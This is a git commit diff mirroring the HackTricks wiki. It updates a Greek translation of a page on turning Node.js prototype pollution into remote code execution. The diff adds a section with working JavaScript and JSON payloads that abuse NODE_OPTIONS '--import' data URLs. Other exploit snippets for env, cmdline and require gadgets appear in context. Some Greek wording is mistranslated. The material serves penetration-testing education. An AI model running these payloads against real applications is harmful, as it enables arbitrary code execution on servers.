mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
88b3175fd9
commit
cb16167294
@ -39,9 +39,9 @@ var proc = fork("a_file.js")
|
||||
```
|
||||
## PP2RCE μέσω env vars
|
||||
|
||||
**PP2RCE** σημαίνει **Prototype Pollution to RCE** (Remote Code Execution).
|
||||
**PP2RCE** σημαίνει **Πολυπλοκότητα Πρωτοτύπου σε RCE** (Απομακρυσμένη Εκτέλεση Κώδικα).
|
||||
|
||||
Σύμφωνα με αυτή την [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) όταν μια **διαδικασία δημιουργείται** με κάποια μέθοδο από **`child_process`** (όπως `fork` ή `spawn` ή άλλες) καλεί τη μέθοδο `normalizeSpawnArguments` που είναι ένα **gadget ρύθμισης πρωτοτύπου για τη δημιουργία νέων env vars**:
|
||||
Σύμφωνα με αυτήν την [**αναφορά**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), όταν μια **διαδικασία δημιουργείται** με κάποια μέθοδο από **`child_process`** (όπως `fork` ή `spawn` ή άλλες) καλεί τη μέθοδο `normalizeSpawnArguments`, η οποία είναι ένα **εργαλείο πολυπλοκότητας πρωτοτύπου για τη δημιουργία νέων env vars**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -63,15 +63,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
```
|
||||
Ελέγξτε αυτόν τον κώδικα, μπορείτε να δείτε ότι είναι δυνατό να **ποτίσετε το `envPairs`** απλά μολύνοντας το **χαρακτηριστικό `.env`.**
|
||||
|
||||
### **Μόλυνση του `__proto__`**
|
||||
### **Ποτίζοντας το `__proto__`**
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι λόγω του πώς λειτουργεί η συνάρτηση **`normalizeSpawnArguments`** από τη βιβλιοθήκη **`child_process`** του node, όταν καλείται κάτι για να **ορίσει μια νέα μεταβλητή env** για τη διαδικασία, χρειάζεται απλώς να **μολύνετε οτιδήποτε**.\
|
||||
> Σημειώστε ότι λόγω του πώς λειτουργεί η συνάρτηση **`normalizeSpawnArguments`** από τη βιβλιοθήκη **`child_process`** του node, όταν καλείται κάτι προκειμένου να **οριστεί μια νέα μεταβλητή env** για τη διαδικασία, χρειάζεται απλώς να **μολύνετε οτιδήποτε**.\
|
||||
> Για παράδειγμα, αν κάνετε `__proto__.avar="valuevar"` η διαδικασία θα ξεκινήσει με μια μεταβλητή που ονομάζεται `avar` με τιμή `valuevar`.
|
||||
>
|
||||
> Ωστόσο, για να είναι η **μεταβλητή env η πρώτη**, πρέπει να **μολύνετε** το **χαρακτηριστικό `.env`** και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η **πρώτη** (επιτρέποντας την επίθεση).
|
||||
> Ωστόσο, προκειμένου η **μεταβλητή env να είναι η πρώτη**, χρειάζεται να **μολύνετε** το **χαρακτηριστικό `.env`** και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η **πρώτη** (επιτρέποντας την επίθεση).
|
||||
>
|
||||
> Γι' αυτό το **`NODE_OPTIONS`** **δεν είναι μέσα στο `.env`** στην παρακάτω επίθεση.
|
||||
> Γι' αυτό το λόγο **`NODE_OPTIONS`** **δεν είναι μέσα στο `.env`** στην παρακάτω επίθεση.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -122,9 +122,9 @@ var proc = fork("a_file.js")
|
||||
```
|
||||
## PP2RCE μέσω env vars + cmdline
|
||||
|
||||
Ένα παρόμοιο payload με το προηγούμενο με κάποιες αλλαγές προτάθηκε σε [**αυτή τη συγγραφή**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Οι κύριες διαφορές είναι:
|
||||
Μια παρόμοια payload με την προηγούμενη με κάποιες αλλαγές προτάθηκε σε [**αυτή τη γραφή**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Οι κύριες διαφορές είναι:
|
||||
|
||||
- Αντί να αποθηκεύει το nodejs **payload** μέσα στο αρχείο `/proc/self/environ`, το αποθηκεύει i**nside argv0** του **`/proc/self/cmdline`**.
|
||||
- Αντί να αποθηκεύει το nodejs **payload** μέσα στο αρχείο `/proc/self/environ`, το αποθηκεύει **μέσα στο argv0** του **`/proc/self/cmdline`**.
|
||||
- Στη συνέχεια, αντί να απαιτεί μέσω **`NODE_OPTIONS`** το αρχείο `/proc/self/environ`, **απαιτεί το `/proc/self/cmdline`**.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
||||
var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
## DNS Interaction
|
||||
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||
|
||||
Χρησιμοποιώντας τα παρακάτω payloads, είναι δυνατόν να καταχραστούμε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσουμε αν λειτούργησε με μια DNS αλληλεπίδραση:
|
||||
> [!NOTE]
|
||||
> Από **Node.js 19** η σημαία CLI `--import` μπορεί να περαστεί μέσω `NODE_OPTIONS` με τον ίδιο τρόπο που μπορεί να περαστεί η `--require`. Σε αντίθεση με την `--require`, η `--import` κατανοεί **data-URIs** οπότε ο επιτιθέμενος **δεν χρειάζεται καθόλου δικαιώματα εγγραφής στο σύστημα αρχείων**. Αυτό καθιστά τη συσκευή πολύ πιο αξιόπιστη σε κλειδωμένα ή μόνο-ανάγνωσης περιβάλλοντα.
|
||||
>
|
||||
> Αυτή η τεχνική καταγράφηκε δημόσια για πρώτη φορά από την έρευνα της PortSwigger τον Μάιο του 2023 και από τότε έχει αναπαραχθεί σε αρκετές προκλήσεις CTF.
|
||||
|
||||
Η επίθεση είναι εννοιολογικά ταυτόσημη με τα κόλπα `--require /proc/self/*` που δείχνονται παραπάνω, αλλά αντί να δείχνουμε σε ένα αρχείο, ενσωματώνουμε το payload απευθείας σε ένα base64-encoded `data:` URL:
|
||||
```javascript
|
||||
const { fork } = require("child_process")
|
||||
|
||||
// Manual pollution
|
||||
b = {}
|
||||
|
||||
// Javascript that is executed once Node parses the import URL
|
||||
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||
|
||||
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||
// any key that will force spawn (fork) – same as earlier examples
|
||||
fork("./a_file.js");
|
||||
```
|
||||
Κατάχρηση της ευάλωτης συγχώνευσης/αντιγραφής που εμφανίζεται στην κορυφή της σελίδας:
|
||||
```javascript
|
||||
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||
clone(USERINPUT);
|
||||
|
||||
// Gadget trigger
|
||||
fork("./a_file.js");
|
||||
// → creates /tmp/pp2rce_import
|
||||
```
|
||||
### Γιατί το `--import` βοηθά
|
||||
1. **Καμία αλληλεπίδραση με δίσκο** – το payload ταξιδεύει εξ ολοκλήρου μέσα στη γραμμή εντολών και το περιβάλλον της διαδικασίας.
|
||||
2. **Λειτουργεί με περιβάλλοντα μόνο ESM** – το `--import` είναι ο κανονικός τρόπος για να προφορτώσετε JavaScript σε σύγχρονες εκδόσεις Node που προεπιλέγουν τα ECMAScript Modules.
|
||||
3. **Παρακάμπτει ορισμένες λίστες επιτρεπόμενων `--require`** – μερικές βιβλιοθήκες σκληρύνσης φιλτράρουν μόνο το `--require`, αφήνοντας το `--import` ανέγγιχτο.
|
||||
|
||||
> [!WARNING]
|
||||
> Η υποστήριξη του `--import` στο `NODE_OPTIONS` είναι ακόμα παρούσα στην τελευταία **Node 22.2.0** (Ιούνιος 2025). Η ομάδα του Node core συζητά την περιοριστική χρήση των data-URIs στο μέλλον, αλλά καμία μετρίαση δεν είναι διαθέσιμη τη στιγμή της συγγραφής.
|
||||
|
||||
---
|
||||
|
||||
## Αλληλεπίδραση DNS
|
||||
|
||||
Χρησιμοποιώντας τα παρακάτω payloads είναι δυνατόν να εκμεταλλευτούμε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσουμε αν λειτούργησε με μια αλληλεπίδραση DNS:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
@ -161,7 +202,7 @@ var proc = fork("a_file.js")
|
||||
}
|
||||
}
|
||||
```
|
||||
Ή, για να αποφύγετε τις WAF που ζητούν το domain:
|
||||
Ή, για να αποφευχθούν οι WAF που ζητούν το domain:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
@ -228,9 +269,9 @@ var proc = execFile("/usr/bin/node")
|
||||
// Windows - not working
|
||||
```
|
||||
Για να λειτουργήσει το **`execFile`**, **ΠΡΕΠΕΙ** να εκτελεί το node για να λειτουργήσουν οι NODE_OPTIONS.\
|
||||
Αν **δεν** εκτελεί το **node**, πρέπει να βρείτε πώς θα μπορούσατε να **αλλάξετε την εκτέλεση** ό,τι εκτελεί **με μεταβλητές περιβάλλοντος** και να τις ρυθμίσετε.
|
||||
Αν **δεν** εκτελεί το **node**, πρέπει να βρείτε πώς μπορείτε να **αλλάξετε την εκτέλεση** αυτού που εκτελεί **με μεταβλητές περιβάλλοντος** και να τις ρυθμίσετε.
|
||||
|
||||
Οι **άλλες** τεχνικές **λειτουργούν** χωρίς αυτή την απαίτηση γιατί είναι **δυνατό να τροποποιηθεί** **ό,τι εκτελείται** μέσω της ρύπανσης πρωτοτύπου. (Σε αυτή την περίπτωση, ακόμα και αν μπορείτε να ρυπάνετε το `.shell`, δεν θα ρυπάνετε αυτό που εκτελείται).
|
||||
Οι **άλλες** τεχνικές **λειτουργούν** χωρίς αυτή την απαίτηση γιατί είναι **δυνατό να τροποποιηθεί** **αυτό που εκτελείται** μέσω της ρύπανσης πρωτοτύπου. (Σε αυτή την περίπτωση, ακόμα και αν μπορείτε να ρυπάνετε το `.shell`, δεν θα ρυπάνετε αυτό που εκτελείται).
|
||||
|
||||
</details>
|
||||
|
||||
@ -463,7 +504,7 @@ var proc = spawnSync("something")
|
||||
|
||||
## Υποχρεωτική Δημιουργία
|
||||
|
||||
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε τη συσκευή, μια λειτουργικότητα που **καλεί `spawn`** πρέπει να είναι **παρούσα** (όλες οι μέθοδοι του **`child_process`** που χρησιμοποιούνται για την εκτέλεση κάτι την καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν **μέρος του κώδικα**, αλλά τι γίνεται αν ο κώδικας **δεν** την καλεί.
|
||||
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε το gadget, μια λειτουργία που **καλεί το `spawn`** πρέπει να είναι **παρούσα** (όλες οι μέθοδοι του **`child_process`** που χρησιμοποιούνται για την εκτέλεση κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν **μέρος του κώδικα**, αλλά τι γίνεται αν ο κώδικας **δεν** το καλεί.
|
||||
|
||||
### Έλεγχος διαδρομής αρχείου require
|
||||
|
||||
@ -507,13 +548,13 @@ done
|
||||
Επομένως, αν εκτελείται ένα require μετά τη μόλυνση του πρωτοτύπου σας και δεν υπάρχει συνάρτηση spawn, αυτή είναι η επίθεση:
|
||||
|
||||
- Βρείτε ένα **`.js` αρχείο μέσα στο σύστημα** που όταν **απαιτηθεί** θα **εκτελέσει κάτι χρησιμοποιώντας `child_process`**
|
||||
- Αν μπορείτε να ανεβάσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορεί να ανεβάσετε ένα αρχείο όπως αυτό
|
||||
- Αν μπορείτε να ανεβάσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορείτε να ανεβάσετε ένα αρχείο όπως αυτό
|
||||
- Μολύνετε τις διαδρομές για **να αναγκάσετε τη φόρτωση του `.js` αρχείου** που θα εκτελέσει κάτι με child_process
|
||||
- **Μολύνετε το environ/cmdline** για να εκτελέσετε αυθαίρετο κώδικα όταν καλείται μια συνάρτηση εκτέλεσης child_process (βλ. τις αρχικές τεχνικές)
|
||||
|
||||
#### Απόλυτο require
|
||||
|
||||
Αν το εκτελούμενο require είναι **απόλυτο** (`require("bytes")`) και το **πακέτο δεν περιέχει main** στο αρχείο `package.json`, μπορείτε **να μολύνετε την ιδιότητα `main`** και να κάνετε το **require να εκτελέσει ένα διαφορετικό αρχείο**.
|
||||
Αν το εκτελούμενο require είναι **απόλυτο** (`require("bytes")`) και το **πακέτο δεν περιέχει main** στο αρχείο `package.json`, μπορείτε **να μολύνετε το `main` attribute** και να κάνετε το **require να εκτελέσει ένα διαφορετικό αρχείο**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="exploit"}}
|
||||
@ -665,12 +706,16 @@ require("./usage.js")
|
||||
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
Παρακαλώ σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί αν το **attribute** ενός αντικειμένου που προσπελάζεται είναι **undefined**. Αν στον **κώδικα** αυτό το **attribute** είναι **set** σε μια **τιμή** δεν **θα μπορέσετε να το αντικαταστήσετε**.
|
||||
Παρακαλώ σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί αν το **attribute** ενός αντικειμένου που προσπελάζεται είναι **undefined**. Αν στον **κώδικα** αυτό το **attribute** είναι **ορισμένο** σε μια **τιμή**, δεν **θα μπορέσετε να το αντικαταστήσετε**.
|
||||
|
||||
Το Ιούνιο του 2022 από [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) η μεταβλητή `options` αντί για ένα `{}` είναι ένα **`kEmptyObject`**. Αυτό **αποτρέπει μια ρύπανση πρωτοτύπου** από το να επηρεάσει τα **attributes** του **`options`** για να αποκτήσει RCE.\
|
||||
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει **υλοποιηθεί,** και επομένως οι **exploits** `spawn` και `spawnSync` που επηρεάζουν τις μεθόδους **δεν λειτουργούν πια** (αν δεν χρησιμοποιούνται `options`!).
|
||||
Το Ιούνιο του 2022 από [**αυτήν την δέσμευση**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) η μεταβλητή `options` αντί για ένα `{}` είναι ένα **`kEmptyObject`**. Αυτό **αποτρέπει μια ρύπανση πρωτοτύπου** να επηρεάσει τα **attributes** του **`options`** για να αποκτήσει RCE.\
|
||||
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει **υλοποιηθεί**, και επομένως οι **εκμεταλλεύσεις** `spawn` και `spawnSync` που επηρεάζουν τις μεθόδους **δεν λειτουργούν πια** (αν δεν χρησιμοποιούνται `options`!).
|
||||
|
||||
Στο [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) η **ρύπανση πρωτοτύπου** του **`contextExtensions`** από τη βιβλιοθήκη vm **διορθώθηκε επίσης** ρυθμίζοντας τις επιλογές σε **`kEmptyObject`** αντί για **`{}`.**
|
||||
Στην [**αυτήν την δέσμευση**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) η **ρύπανση πρωτοτύπου** του **`contextExtensions`** από τη βιβλιοθήκη vm **διορθώθηκε κάπως** ρυθμίζοντας τις επιλογές σε **`kEmptyObject`** αντί για **`{}`.**
|
||||
|
||||
> [!INFO]
|
||||
> **Node 20 (Απρίλιος 2023) & Node 22 (Απρίλιος 2025)** παρέδωσαν περαιτέρω ενίσχυση: αρκετοί βοηθοί `child_process` τώρα αντιγράφουν τις `options` που παρέχονται από τον χρήστη με **`CopyOptions()`** αντί να τις χρησιμοποιούν μέσω αναφοράς. Αυτό μπλοκάρει τη ρύπανση των εσωτερικών αντικειμένων όπως το `stdio`, αλλά **δεν προστατεύει από τα κόλπα `NODE_OPTIONS` / `--import`** που περιγράφηκαν παραπάνω – αυτές οι σημαίες γίνονται ακόμα αποδεκτές μέσω μεταβλητών περιβάλλοντος.
|
||||
> Μια πλήρης διόρθωση θα έπρεπε να περιορίσει ποιες σημαίες CLI μπορούν να προωθηθούν από τη γονική διαδικασία, κάτι που παρακολουθείται στο Node Issue #50559.
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
@ -682,6 +727,8 @@ require("./usage.js")
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user